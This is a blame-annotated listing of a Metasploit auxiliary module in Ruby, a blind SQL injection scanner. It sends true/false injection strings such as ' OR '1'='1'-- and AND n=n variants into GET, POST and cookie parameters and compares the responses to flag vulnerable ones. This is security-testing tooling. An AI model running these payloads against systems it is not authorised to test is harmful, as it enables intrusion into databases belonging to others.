2009-12-30 22:24:22 +00:00
|
|
|
##
|
2012-02-18 02:56:55 +00:00
|
|
|
# $Id: blind_sql_query.rb 14735 2012-02-17 09:36:04Z rapid7 $
|
2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-12-30 22:24:22 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/proto/http'
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2012-02-03 21:43:21 +00:00
|
|
|
include Msf::Auxiliary::WmapScanUniqueQuery
|
2009-12-30 22:24:22 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2012-02-18 03:52:03 +00:00
|
|
|
'Name' => 'HTTP Blind SQL Injection Scanner',
|
2009-12-30 22:24:22 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module identifies the existence of Blind SQL injection issues
|
2012-02-18 04:36:33 +00:00
|
|
|
in GET/POST Query parameters values.
|
2009-12-30 22:24:22 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'et [at] cyberspace.org' ],
|
|
|
|
'License' => BSD_LICENSE,
|
2012-02-18 02:56:55 +00:00
|
|
|
'Version' => '$Revision: 14735 $'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2012-02-18 04:36:33 +00:00
|
|
|
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),
|
2009-12-30 22:24:22 +00:00
|
|
|
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
|
|
|
|
OptString.new('QUERY', [ false, "HTTP URI Query", '']),
|
|
|
|
OptString.new('DATA', [ false, "HTTP Body Data", '']),
|
|
|
|
OptString.new('COOKIE',[ false, "HTTP Cookies", ''])
|
2010-04-30 08:40:19 +00:00
|
|
|
], self.class)
|
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
2012-02-17 09:34:39 +00:00
|
|
|
# Force http verb to be upper-case, because otherwise some web servers such as
|
|
|
|
# Apache might throw you a 501
|
|
|
|
http_method = datastore['METHOD'].upcase
|
2012-02-18 03:39:06 +00:00
|
|
|
|
2012-02-18 02:56:55 +00:00
|
|
|
gvars = Hash.new()
|
|
|
|
pvars = Hash.new()
|
|
|
|
cvars = Hash.new()
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
rnum=rand(10000)
|
|
|
|
|
2012-02-23 04:18:39 +00:00
|
|
|
inivalstr = [
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'numeric',
|
2009-12-30 22:24:22 +00:00
|
|
|
" AND #{rnum}=#{rnum} ",
|
|
|
|
" AND #{rnum}=#{rnum+1} "
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
|
|
|
[ 'single quotes',
|
2009-12-30 22:24:22 +00:00
|
|
|
"' AND '#{rnum}'='#{rnum}",
|
|
|
|
"' AND '#{rnum}'='#{rnum+1}"
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'double quotes',
|
2009-12-30 22:24:22 +00:00
|
|
|
"\" AND \"#{rnum}\"=\"#{rnum}",
|
|
|
|
"\" AND \"#{rnum}\"=\"#{rnum+1}"
|
2012-02-23 01:24:52 +00:00
|
|
|
],
|
|
|
|
[ 'OR single quotes uncommented',
|
|
|
|
"' OR '#{rnum}'='#{rnum}",
|
|
|
|
"' OR '#{rnum}'='#{rnum+1}"
|
|
|
|
],
|
|
|
|
[ 'OR single quotes closed and commented',
|
|
|
|
"' OR '#{rnum}'='#{rnum}'--",
|
|
|
|
"' OR '#{rnum}'='#{rnum+1}'--"
|
|
|
|
],
|
|
|
|
[ 'hex encoded OR single quotes uncommented',
|
|
|
|
"'%20OR%20'#{rnum}'%3D'#{rnum}",
|
|
|
|
"'%20OR%20'#{rnum}'%3D'#{rnum+1}"
|
|
|
|
],
|
|
|
|
[ 'hex encoded OR single quotes closed and commented',
|
|
|
|
"'%20OR%20'#{rnum}'%3D'#{rnum}'--",
|
|
|
|
"'%20OR%20'#{rnum}'%3D'#{rnum+1}'--"
|
2009-12-30 22:24:22 +00:00
|
|
|
]
|
|
|
|
]
|
2012-02-23 04:18:39 +00:00
|
|
|
|
|
|
|
# Creating strings with true and false values
|
|
|
|
valstr = []
|
|
|
|
inivalstr.each do |vstr|
|
|
|
|
# With true values
|
|
|
|
valstr << vstr
|
|
|
|
# With false values, appending 'x' to real value
|
|
|
|
valstr << ['False char '+vstr[0],'x'+vstr[1],'x'+vstr[2]]
|
|
|
|
# With false values, appending '0' to real value
|
|
|
|
valstr << ['False num '+vstr[0],'0'+vstr[1],'0'+vstr[2]]
|
|
|
|
end
|
|
|
|
|
|
|
|
#valstr.each do |v|
|
|
|
|
# print_status("#{v[0]}")
|
|
|
|
# print_status("#{v[1]}")
|
|
|
|
# print_status("#{v[2]}")
|
|
|
|
#end
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Dealing with empty query/data and making them hashes.
|
|
|
|
#
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
if !datastore['QUERY'] or datastore['QUERY'].empty?
|
|
|
|
datastore['QUERY'] = nil
|
|
|
|
gvars = nil
|
|
|
|
else
|
|
|
|
gvars = queryparse(datastore['QUERY']) #Now its a Hash
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
if !datastore['DATA'] or datastore['DATA'].empty?
|
|
|
|
datastore['DATA'] = nil
|
|
|
|
pvars = nil
|
|
|
|
else
|
|
|
|
pvars = queryparse(datastore['DATA'])
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
if !datastore['COOKIE'] or datastore['COOKIE'].empty?
|
|
|
|
datastore['COOKIE'] = nil
|
|
|
|
cvars = nil
|
|
|
|
else
|
|
|
|
cvars = queryparse(datastore['COOKIE'])
|
|
|
|
end
|
|
|
|
|
2012-02-23 04:18:39 +00:00
|
|
|
verifynr=2
|
|
|
|
|
|
|
|
i=0
|
|
|
|
k=0
|
|
|
|
c=0
|
|
|
|
|
|
|
|
normalres = nil
|
|
|
|
|
|
|
|
verifynr.times do |j|
|
2010-04-30 08:40:19 +00:00
|
|
|
#SEND NORMAL REQUEST
|
2012-02-23 04:18:39 +00:00
|
|
|
begin
|
|
|
|
normalres = send_request_cgi({
|
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'vars_get' => gvars,
|
|
|
|
'method' => http_method,
|
|
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
|
|
'cookie' => datastore['COOKIE'],
|
|
|
|
'data' => datastore['DATA']
|
|
|
|
}, 20)
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2012-02-23 04:18:39 +00:00
|
|
|
if not normalres
|
|
|
|
print_error("No response")
|
|
|
|
return
|
|
|
|
else
|
|
|
|
if i==0
|
|
|
|
k = normalres.body.length
|
|
|
|
c = normalres.code.to_i
|
|
|
|
else
|
|
|
|
if k != normalres.body.length
|
|
|
|
print_error("Normal response body vary")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
if c != normalres.code.to_i
|
|
|
|
print_error("Normal response code vary")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
2012-02-23 04:18:39 +00:00
|
|
|
|
|
|
|
print_status("[Normal response body: #{k} code: #{c}]")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2012-02-23 01:24:52 +00:00
|
|
|
pinj = false
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
valstr.each do |tarr|
|
|
|
|
#QUERY
|
|
|
|
if gvars
|
2010-04-30 08:40:19 +00:00
|
|
|
gvars.each do |key,value|
|
2012-02-23 04:18:39 +00:00
|
|
|
vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")
|
2012-02-23 01:24:52 +00:00
|
|
|
|
|
|
|
#SEND TRUE REQUEST
|
|
|
|
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
|
|
|
|
testgvars[key] = testgvars[key]+tarr[1]
|
2012-02-23 04:18:39 +00:00
|
|
|
t = testgvars[key]
|
|
|
|
|
2012-02-23 01:24:52 +00:00
|
|
|
begin
|
|
|
|
trueres = send_request_cgi({
|
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'vars_get' => testgvars,
|
|
|
|
'method' => http_method,
|
|
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
|
|
'cookie' => datastore['COOKIE'],
|
|
|
|
'data' => datastore['DATA']
|
|
|
|
}, 20)
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
|
|
|
|
#SEND FALSE REQUEST
|
|
|
|
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
|
|
|
|
testgvars[key] = testgvars[key]+tarr[2]
|
2012-02-23 04:18:39 +00:00
|
|
|
|
2012-02-23 01:24:52 +00:00
|
|
|
begin
|
|
|
|
falseres = send_request_cgi({
|
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'vars_get' => testgvars,
|
|
|
|
'method' => http_method,
|
|
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
|
|
'cookie' => datastore['COOKIE'],
|
|
|
|
'data' => datastore['DATA']
|
|
|
|
}, 20)
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
|
2012-02-23 21:13:10 +00:00
|
|
|
pinja = false
|
|
|
|
pinjb = false
|
|
|
|
pinjc = false
|
|
|
|
pinjd = false
|
2012-02-23 01:24:52 +00:00
|
|
|
|
2012-02-23 21:13:10 +00:00
|
|
|
pinja = detection_a(normalres,trueres,falseres,tarr)
|
|
|
|
pinjb = detection_b(normalres,trueres,falseres,tarr)
|
|
|
|
pinjc = detection_c(normalres,trueres,falseres,tarr)
|
|
|
|
pinjd = detection_d(normalres,trueres,falseres,tarr)
|
2012-02-23 01:24:52 +00:00
|
|
|
|
2012-02-23 21:13:10 +00:00
|
|
|
if pinja or pinjb or pinjc or pinjd
|
|
|
|
print_error("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
|
2012-02-23 04:18:39 +00:00
|
|
|
print_error("[#{t}]")
|
2012-02-23 01:24:52 +00:00
|
|
|
|
|
|
|
report_web_vuln(
|
|
|
|
:host => ip,
|
|
|
|
:port => rport,
|
|
|
|
:vhost => vhost,
|
|
|
|
:ssl => ssl,
|
|
|
|
:path => "#{datastore['PATH']}",
|
|
|
|
:method => http_method,
|
|
|
|
:pname => "#{key}",
|
|
|
|
:proof => "blind sql inj.",
|
|
|
|
:risk => 2,
|
|
|
|
:confidence => 50,
|
|
|
|
:category => 'SQL injection',
|
|
|
|
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
|
|
|
|
:name => 'Blind SQL injection'
|
|
|
|
)
|
|
|
|
else
|
|
|
|
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2012-02-23 01:24:52 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
#DATA
|
|
|
|
if pvars
|
2010-04-30 08:40:19 +00:00
|
|
|
pvars.each do |key,value|
|
2012-02-23 01:24:52 +00:00
|
|
|
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
|
2009-12-30 22:24:22 +00:00
|
|
|
|
2012-02-23 01:24:52 +00:00
|
|
|
#SEND TRUE REQUEST
|
|
|
|
testpvars = queryparse(datastore['DATA']) #Now its a Hash
|
|
|
|
testpvars[key] = testpvars[key]+tarr[1]
|
2012-02-23 04:18:39 +00:00
|
|
|
t = testpvars[key]
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2012-02-23 01:24:52 +00:00
|
|
|
pvarstr = ""
|
|
|
|
testpvars.each do |tkey,tvalue|
|
|
|
|
if pvarstr
|
|
|
|
pvarstr << '&'
|
|
|
|
end
|
|
|
|
pvarstr << tkey+'='+tvalue
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
|
|
|
|
2012-02-23 01:24:52 +00:00
|
|
|
begin
|
|
|
|
trueres = send_request_cgi({
|
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'vars_get' => gvars,
|
|
|
|
'method' => http_method,
|
|
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
|
|
'cookie' => datastore['COOKIE'],
|
|
|
|
'data' => pvarstr
|
|
|
|
}, 20)
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
|
|
|
|
#SEND FALSE REQUEST
|
|
|
|
testpvars = queryparse(datastore['DATA']) #Now its a Hash
|
|
|
|
testpvars[key] = testpvars[key]+tarr[2]
|
|
|
|
|
|
|
|
pvarstr = ""
|
|
|
|
testpvars.each do |tkey,tvalue|
|
|
|
|
if pvarstr
|
|
|
|
pvarstr << '&'
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2012-02-23 01:24:52 +00:00
|
|
|
pvarstr << tkey+'='+tvalue
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2012-02-23 01:24:52 +00:00
|
|
|
begin
|
|
|
|
falseres = send_request_cgi({
|
|
|
|
'uri' => datastore['PATH'],
|
|
|
|
'vars_get' => gvars,
|
|
|
|
'method' => http_method,
|
|
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
|
|
'cookie' => datastore['COOKIE'],
|
|
|
|
'data' => pvarstr
|
|
|
|
}, 20)
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
|
2012-02-23 21:13:10 +00:00
|
|
|
pinja = false
|
|
|
|
pinjb = false
|
|
|
|
pinjc = false
|
|
|
|
pinjd = false
|
2012-02-23 01:24:52 +00:00
|
|
|
|
2012-02-23 21:13:10 +00:00
|
|
|
pinja = detection_a(normalres,trueres,falseres,tarr)
|
|
|
|
pinjb = detection_b(normalres,trueres,falseres,tarr)
|
|
|
|
pinjc = detection_c(normalres,trueres,falseres,tarr)
|
|
|
|
pinjd = detection_d(normalres,trueres,falseres,tarr)
|
2012-02-23 01:24:52 +00:00
|
|
|
|
2012-02-23 21:13:10 +00:00
|
|
|
if pinja or pinjb or pinjc or pinjd
|
|
|
|
print_error("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
|
2012-02-23 04:18:39 +00:00
|
|
|
print_error("[#{t}]")
|
2012-02-23 01:24:52 +00:00
|
|
|
|
|
|
|
report_web_vuln(
|
|
|
|
:host => ip,
|
|
|
|
:port => rport,
|
|
|
|
:vhost => vhost,
|
|
|
|
:ssl => ssl,
|
|
|
|
:path => "#{datastore['PATH']}",
|
|
|
|
:method => http_method,
|
|
|
|
:pname => "#{key}",
|
|
|
|
:proof => "blind sql inj.",
|
|
|
|
:risk => 2,
|
|
|
|
:confidence => 50,
|
|
|
|
:category => 'SQL injection',
|
|
|
|
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
|
|
|
|
:name => 'Blind SQL injection'
|
|
|
|
)
|
2009-12-30 22:24:22 +00:00
|
|
|
else
|
2012-02-23 01:24:52 +00:00
|
|
|
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def detection_a(normalr,truer,falser,tarr)
|
|
|
|
# print_status("A")
|
|
|
|
|
|
|
|
# DETECTION A
|
|
|
|
# Very simple way to compare responses, this can be improved alot , at this time just the simple way
|
|
|
|
|
|
|
|
if normalr and truer
|
|
|
|
#Very simple way to compare responses, this can be improved alot , at this time just the simple way
|
|
|
|
reltruesize = truer.body.length-(truer.body.scan(/#{tarr[1]}/).length*tarr[1].length)
|
|
|
|
normalsize = normalr.body.length
|
|
|
|
|
|
|
|
#print_status("normalsize #{normalsize} truesize #{reltruesize}")
|
|
|
|
|
|
|
|
if reltruesize == normalsize
|
|
|
|
if falser
|
|
|
|
relfalsesize = falser.body.length-(falser.body.scan(/#{tarr[2]}/).length*tarr[2].length)
|
|
|
|
|
|
|
|
#print_status("falsesize #{relfalsesize}")
|
|
|
|
|
|
|
|
if reltruesize > relfalsesize
|
2012-02-23 21:13:10 +00:00
|
|
|
print_status("Detected by test A")
|
2012-02-23 01:24:52 +00:00
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
|
|
|
else
|
2012-02-23 04:18:39 +00:00
|
|
|
vprint_status("NO False Response.")
|
2012-02-23 01:24:52 +00:00
|
|
|
end
|
|
|
|
else
|
2012-02-23 04:18:39 +00:00
|
|
|
vprint_status("Normal and True requests are different.")
|
2012-02-23 01:24:52 +00:00
|
|
|
end
|
|
|
|
else
|
|
|
|
print_status("No response.")
|
|
|
|
end
|
|
|
|
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
def detection_b(normalr,truer,falser,tarr)
|
|
|
|
# print_status("B")
|
|
|
|
|
|
|
|
# DETECTION B
|
|
|
|
# Variance on res body
|
|
|
|
|
|
|
|
if normalr and truer
|
|
|
|
if falser
|
|
|
|
#print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")
|
|
|
|
|
|
|
|
if (truer.body.length-tarr[1].length) != normalr.body.length and (falser.body.length-tarr[2].length) == normalr.body.length
|
2012-02-23 21:13:10 +00:00
|
|
|
print_status("Detected by test B")
|
2012-02-23 01:24:52 +00:00
|
|
|
return true
|
|
|
|
end
|
|
|
|
if (truer.body.length-tarr[1].length) == normalr.body.length and (falser.body.length-tarr[2].length) != normalr.body.length
|
2012-02-23 21:13:10 +00:00
|
|
|
print_status("Detected by test B")
|
2012-02-23 01:24:52 +00:00
|
|
|
return true
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
|
|
|
end
|
2012-02-23 01:24:52 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
def detection_c(normalr,truer,falser,tarr)
|
|
|
|
# print_status("C")
|
|
|
|
|
|
|
|
# DETECTION C
|
|
|
|
# Variance on res code of true or false statements
|
|
|
|
|
|
|
|
if normalr and truer
|
|
|
|
if falser
|
|
|
|
if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i
|
2012-02-23 21:13:10 +00:00
|
|
|
print_status("Detected by test C")
|
2012-02-23 01:24:52 +00:00
|
|
|
return true
|
|
|
|
end
|
|
|
|
if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i
|
2012-02-23 21:13:10 +00:00
|
|
|
print_status("Detected by test C")
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
def detection_d(normalr,truer,falser,tarr)
|
|
|
|
# print_status("D")
|
|
|
|
|
|
|
|
# DETECTION D
|
|
|
|
# Variance PERCENTAGE MIN MAX on res body
|
|
|
|
|
|
|
|
# 2% 50%
|
|
|
|
max_diff_perc = 2
|
|
|
|
min_diff_perc = 50
|
|
|
|
|
|
|
|
if normalr and truer
|
|
|
|
if falser
|
|
|
|
nl= normalr.body.length
|
|
|
|
tl= truer.body.length
|
|
|
|
fl= falser.body.length
|
|
|
|
|
2012-02-23 21:45:51 +00:00
|
|
|
if nl == 0
|
|
|
|
nl = 1
|
|
|
|
end
|
|
|
|
if tl == 0
|
|
|
|
tl = 1
|
|
|
|
end
|
|
|
|
if fl == 0
|
|
|
|
fl = 1
|
|
|
|
end
|
|
|
|
|
2012-02-23 21:13:10 +00:00
|
|
|
ntmax = [ nl,tl ].max
|
|
|
|
ntmin = [ nl,tl ].min
|
|
|
|
diff_nt_perc = ((ntmax - ntmin)*100)/(ntmax)
|
2012-02-23 21:45:51 +00:00
|
|
|
diff_nt_f_perc = ((ntmax - fl)*100)/(ntmax)
|
|
|
|
|
2012-02-23 21:13:10 +00:00
|
|
|
if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc
|
|
|
|
print_status("Detected by test D")
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
nfmax = [ nl,fl ].max
|
|
|
|
nfmin = [ nl,fl ].min
|
|
|
|
diff_nf_perc = ((nfmax - nfmin)*100)/(nfmax)
|
|
|
|
diff_nf_t_perc = ((nfmax - tl)*100)/(nfmax)
|
|
|
|
|
|
|
|
if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc
|
|
|
|
print_status("Detected by test D")
|
2012-02-23 01:24:52 +00:00
|
|
|
return true
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
|
|
|
end
|
2012-02-23 01:24:52 +00:00
|
|
|
|
|
|
|
return false
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
2012-02-23 21:13:10 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|